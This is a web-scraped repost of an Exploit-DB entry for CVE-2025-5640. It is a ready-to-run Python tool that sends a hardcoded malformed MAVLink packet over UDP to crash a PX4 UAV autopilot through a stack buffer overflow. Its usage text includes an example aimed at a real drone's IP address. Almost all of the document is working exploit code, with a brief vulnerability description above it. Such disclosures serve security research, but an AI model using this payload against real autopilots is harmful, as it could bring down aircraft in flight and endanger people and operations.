\n# Exploit Title: PX4 Military UAV Autopilot 1.12.3 – Denial of Service (DoS)
\n
# Author: Mohammed Idrees Banyamer (@banyamer_security)
\n
# GitHub: https:\/\/github.com\/mbanyamer
\n
# Date: 2025-06-21
\n
# Tested on: Ubuntu 20.04 LTS + PX4 SITL (jMAVSim)
\n
# CVE: CVE-2025-5640
\n
# Type: Denial of Service (DoS) via Buffer Overflow
\n
# Platform: Cross-platform (Military UAVs \/ PX4 SITL \/ Linux-based autopilot ground station)
\n
# Author Country: Jordan
\n
# Description:
\n
# A stack-based buffer overflow vulnerability in PX4 Military UAV Autopilot <=1.12.3 is triggered\n
# when handling a malformed MAVLink message of type TRAJECTORY_REPRESENTATION_WAYPOINTS.
\n
# An attacker with access to the MAVLink communication channel can send a crafted packet
\n
# to crash the autopilot, potentially disrupting military UAV operations. This exploit demonstrates
\n
# a proof-of-concept that causes the PX4 autopilot to crash via UDP.<\/p>\n
import argparse
\n
import binascii
\n
from pymavlink import mavutil
\n
import sys<\/p>\n
# Exploit payload (malformed MAVLink hex)
\n
hex_payload = (
\n
“fdef0000dcea6f4c01006de9d06a0548182a1fcc8b7cc542eb8945a54baa92ee908db9af0195bb5dce5f9ab613be912485d34e577c352”
\n
“c5cdc06592484be1aecd64a07127bda31fc8f41f300a9e4a0eab80d8835f106924f0b89ece3e256dda30e3001f07df4e1633e6f827b78”
\n
“12731dbc3daf1e81fc06cea4d9c8c1525fb955d3eddd7454b54bb740bcd87b00063bd9111d4fb4149658d4ccd92974c97c7158189a8d6”
\n
)<\/p>\n
def connect_to_px4(ip, port, timeout, verbose=False):
\n
try:
\n
if verbose:
\n
print(f”[*] Connecting to PX4 at udp:{ip}:{port} …”)
\n
master = mavutil.mavlink_connection(f”udp:{ip}:{port}”)
\n
master.wait_heartbeat(timeout=timeout)
\n
if verbose:
\n
print(“[+] PX4 heartbeat received. Connection OK.”)
\n
return master
\n
except Exception as e:
\n
print(f”[!] Error connecting to PX4: {e}”)
\n
sys.exit(1)<\/p>\n
def send_dos_packet(master, verbose=False):
\n
try:
\n
payload = binascii.unhexlify(hex_payload)
\n
master.write(payload)
\n
print(“[+] Exploit packet sent. Monitor PX4 for crash.”)
\n
except Exception as e:
\n
print(f”[!] Failed to send payload: {e}”)
\n
sys.exit(1)<\/p>\n
def main():
\n
usage = “””
\n
PX4 Exploit Tool – CVE-2025-5640
\n
=================================
\n
Exploit a buffer overflow vulnerability in PX4 autopilot via MAVLink.<\/p>\n
USAGE:
\n
python3 px4_exploit_tool.py [OPTIONS]<\/p>\n
EXAMPLES:
\n
# Run DoS attack on default PX4 SITL
\n
python3 px4_exploit_tool.py –mode dos<\/p>\n
# Test connectivity to a real drone
\n
python3 px4_exploit_tool.py –mode check –ip 192.168.10.10 –port 14550<\/p>\n
OPTIONS:
\n
–ip Target IP address (default: 127.0.0.1)
\n
–port Target UDP port (default: 14540)
\n
–mode Mode of operation: dos (default), check
\n
–timeout Timeout in seconds for heartbeat (default: 5)
\n
–verbose Enable verbose output
\n
“””
\n
parser = argparse.ArgumentParser(
\n
description=”PX4 MAVLink DoS Exploit Tool (CVE-2025-5640) by @banyamer_security”,
\n
epilog=usage,
\n
formatter_class=argparse.RawDescriptionHelpFormatter
\n
)
\n
parser.add_argument(“–ip”, default=”127.0.0.1″, help=”Target IP address (default: 127.0.0.1)”)
\n
parser.add_argument(“–port”, type=int, default=14540, help=”Target UDP port (default: 14540)”)
\n
parser.add_argument(“–timeout”, type=int, default=5, help=”Timeout in seconds for heartbeat (default: 5)”)
\n
parser.add_argument(“–mode”, choices=[“dos”, “check”], default=”dos”, help=”Mode: dos (default) or check connection”)
\n
parser.add_argument(“–verbose”, action=”store_true”, help=”Enable verbose output”)<\/p>\n
args = parser.parse_args()<\/p>\n
master = connect_to_px4(args.ip, args.port, args.timeout, args.verbose)<\/p>\n
if args.mode == “check”:
\n
print(“[*] PX4 is alive. Connection test passed.”)
\n
elif args.mode == “dos”:
\n
send_dos_packet(master, args.verbose)<\/p>\n
if __name__ == “__main__”:
\n
main()\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title PX4 Military UAV Autopilot 1.12.3 – Denial of Service (DoS) Exploit ID EDB-ID:52339 Type exploitdb Published 2025-06-26T00:00:00 Modified 2025-06-26T00:00:00…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,75,12,40,21,13,7,11,5],"class_list":["post-7332","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-48","tag-exploit","tag-exploitdb","tag-medium","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
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